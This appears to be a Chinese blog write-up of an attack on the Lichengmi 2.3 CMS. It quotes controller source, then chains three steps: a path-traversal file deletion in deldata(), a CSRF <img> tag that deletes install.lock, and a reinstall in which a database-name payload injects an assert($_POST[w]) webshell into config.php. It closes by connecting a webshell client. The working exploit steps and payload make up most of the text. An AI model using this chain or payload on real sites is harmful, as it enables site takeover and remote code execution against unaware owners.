跟踪到./Application/Admin/Controller/MaintainController.class.php
<?php
namespace Admin\Controller;
use Think\Controller;
class MaintainController extends CommonController {
private $path = "./Database/";
public function index(){
$this->display();
}
public function doClear(){
$path = "./Application/Runtime/";
$data = $_POST['data'];
$count = count($data);
for ($i=0; $i <$count ; $i++) {
$this->dirDel($path.$data[$i]."/");
}
$this->success("清除成功");
}
public function dirDel($path){
if(!is_dir($path)){
$this->error($path."并没有这个文件夹");
}
$hand = opendir($path);
while(($file = readdir($hand))!==false){
if($file=="."||$file=="..") continue;
if(is_dir($path."/".$file)){
$this->dirDel($path."/".$file);
}else{
@unlink($path."/".$file);
}
}
closedir($hand);
@rmdir($path);
}
public function deldata(){
$name = $_GET['name'];
if(empty($name)){
$this->error("没有文件");
}else{
$result = unlink($this->path.$name);
$this->myRelust($result);
}
}
public function databackups(){
$arr = $this->my_scandir($this->path);
$this->assign("list",$arr);
$this->display();
}
public function dobackups(){
header("Content-type: text/html; charset=utf-8");
$name = $_POST['name']?$_POST['name']:date("Y-m-d",time());
$this->Mydb(); //连接数据库
$sql=$this->sqlcreate();
$sql2=$this->sqlinsert();
$data=$sql.$sql2;
$result = file_put_contents($this->path."{$name}(".time().").sql", $data);
$this->myRelust($result);
}
//代码过多,后面的省略
我们主要看看deldata()方法,它是用来删除缓存文件的,可是出现了瑕疵,让我们有机可乘,我们来分析一下,将get传输过来的name值赋值给$name随后判断$name值是否为空,如果为空返回“没有文件”并且退出,反之执行删除$name这个文件,$this->path这个成员属性就已经被赋好值了,它的路径就是根目录下的database这个目录。
跟进./Application/Install/Controller/InstallController.class.php程序安装文件
<?php
namespace Install\Controller;
use Think\Controller;
use Think\Db;
use Think\Storage;
class InstallController extends Controller{
protected function _initialize(){
if(session('step') === null){
$this->redirect('Index/index');
}
if(Storage::has(MODULE_PATH . 'Data/install.lock')){
$this->error('已经成功安装了里程密,请不要重复安装!');
}
}
//安装第一步,检测运行所需的环境设置
public function step1(){
session('error', false);
//环境检测
$env = check_env();
//目录文件读写检测
if(IS_WRITE){
$dirfile = check_dirfile();
$this->assign('dirfile', $dirfile);
}
//函数检测
$func = check_func();
session('step', 1);
$this->assign('env', $env);
$this->assign('func', $func);
$this->display();
}
//安装第二步,创建数据库
public function step2($db = null, $admin = null){
if(IS_POST){
//检测管理员信息
if(!is_array($admin) || empty($admin[0]) || empty($admin[1]) || empty($admin[2])){
$this->error('请填写完整管理员信息');
} else if($admin[1] != $admin[2]){
$this->error('确认密码和密码不一致');
} else {
$info = array();
list($info['username'], $info['password'], $info['repassword'])
= $admin;
//缓存管理员信息
session('admin_info', $info);
}
//检测数据库配置
if(!is_array($db) || empty($db[0]) || empty($db[1]) || empty($db[2]) || empty($db[3])){
$this->error('请填写完整的数据库配置');
} else {
$DB = array();
list($DB['DB_TYPE'], $DB['DB_HOST'], $DB['DB_NAME'], $DB['DB_USER'], $DB['DB_PWD'],
$DB['DB_PORT'], $DB['DB_PREFIX']) = $db;
//缓存数据库配置
session('db_config', $DB);
//创建数据库
$dbname = $DB['DB_NAME'];
unset($DB['DB_NAME']);
$db = Db::getInstance($DB);
$sql = "CREATE DATABASE IF NOT EXISTS `{$dbname}` DEFAULT CHARACTER SET utf8";
$db->execute($sql) || $this->error($db->getError());
}
//跳转到数据库安装页面
$this->redirect('step3');
} else {
session('error') && $this->error('环境检测没有通过,请调整环境后重试!');
$step = session('step');
if($step != 1 && $step != 2){
$this->redirect('step1');
}
session('step', 2);
$this->display();
}
}
//安装第三步,安装数据表,创建配置文件
public function step3(){
if(session('step') != 2){
$this->redirect('step2');
}
$this->display();
//连接数据库
$dbconfig = session('db_config');
$db = Db::getInstance($dbconfig);
//创建数据表
create_tables($db, $dbconfig['DB_PREFIX']);
//注册创始人帐号
$admin = session('admin_info');
register_administrator($db, $dbconfig['DB_PREFIX'], $admin);
//创建配置文件
$conf = write_config($dbconfig);
session('config_file',$conf);
if(session('error')){
//show_msg();
} else {
session('step', 3);
$this->redirect('Index/complete');
}
}
}
这里我就不一个个的说了,大概的解释下意思,从这个step2()方法讲着走,最开始就是判断POST有没有传过来值接着判断管理员信息是否填写完整,上面的判断通过之后就到了判断$admin[1]是不是等于$admin[2],如果以上的通过那么就定义一个$info数组,接着用list()列表函数来将$admin数组的值分配到$info数组,用session来缓存管理员的信息。接着是检测数据库信息是否填写完整,若填写完整就创建数据库,若上面的执行无误就跳到step3()这个方法,连接数据库,创建表,写入信息之类的,接着就是创建配置文件了,我们可以看到,在安装的时候,整个文件没有对POST传进来的值做任何过滤。
配置文件位置:./Application/Common/Conf/config.php
<?php
return array(
//'配置项'=>'配置值'
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => '123', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口
'DB_PREFIX' => 'blog_', // 数据库表前缀
'SHOW_PAGE_TRACE' =>false, //
'SHOW_ERROR_MSG' => false,
'MODULE_DENY_LIST' => array('Common','Runtime'),
'URL_MODEL' => 0, // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式
'URL_HTML_SUFFIX' => 'html', // URL伪静态后缀设置
'ERROR_MESSAGE' => '哎呦呦,一不小心就走丢了!',
'ERROR_PAGE' =>'./Public/Default/error_page/error.html',
);
这是配置文件的代码,返回一个数组,我们想办法插个一句话进去,
Pyload:',assert($_POST[w]) => '1',//
上面这段就是插入的pyload
具体看下面的代码咋插
<?php
return array(
//'配置项'=>'配置值'
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => '123',assert($_POST[w]) => '1',//', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口
'DB_PREFIX' => 'blog_', // 数据库表前缀
'SHOW_PAGE_TRACE' =>false, //
'SHOW_ERROR_MSG' => false,
'MODULE_DENY_LIST' => array('Common','Runtime'),
'URL_MODEL' => 0, // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式
'URL_HTML_SUFFIX' => 'html', // URL伪静态后缀设置
'ERROR_MESSAGE' => '哎呦呦,一不小心就走丢了!',
'ERROR_PAGE' =>'./Public/Default/error_page/error.html',
);
至于这个为啥要这么插入,相信有基础的人都知道了,我就不细说了
现在我们来实现这个漏洞,通过csrf,让管理来触发删除./Application/Install/Data/install.lock这个安装时创建的文件,接着该怎么写呢?很简单,只需要一个<img>标签足够了
<img src="http://localhost/lichengmi_2.3/index.php?m=admin&c=maintain&a=deldata&name=../Application/install/Data/install.lock"/>
就这样就可以了,前提是管理员已经登陆,接着走吧!
我将上面的图片标签写到web服务器的csrf.html上进行访问

现在我以管理员的身份登陆了。
再看看触发csrf之前./Application/Install/Data这个目录中存在的文件:

有三个文件,分别是:
Install.sql
Install.lock
Conf.tpl
访问:http://www.only-wait.cn/csrf.html就可以将install.lock删掉

我们执行下csrf那个页面,再看看data目录下:

Install.lock这个文件没有了,这就导致这套cms重装了。

刷新过后看到了安装页面,接着这里我们要用到前面写的
pyload:xxx',assert($_POST[w]) => '1',//

在数据库名这里填上pyload。

安装完成!
看看配置文件
<?php
return array(
//'配置项'=>'配置值'
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => 'xxx',assert($_POST[w]) => '1',//', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口
'DB_PREFIX' => 'blog_', // 数据库表前缀
'SHOW_PAGE_TRACE' =>false, //
'SHOW_ERROR_MSG' => false,
'MODULE_DENY_LIST' => array('Common','Runtime'),
'URL_MODEL' => 0, // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式
'URL_HTML_SUFFIX' => 'html', // URL伪静态后缀设置
'ERROR_MESSAGE' => '哎呦呦,一不小心就走丢了!',
'ERROR_PAGE' =>'./Public/Default/error_page/error.html',
);
这样webshell就写了进来,去看看能不能执行。

Ok,完全没问题。放进菜刀吧!











暂无评论内容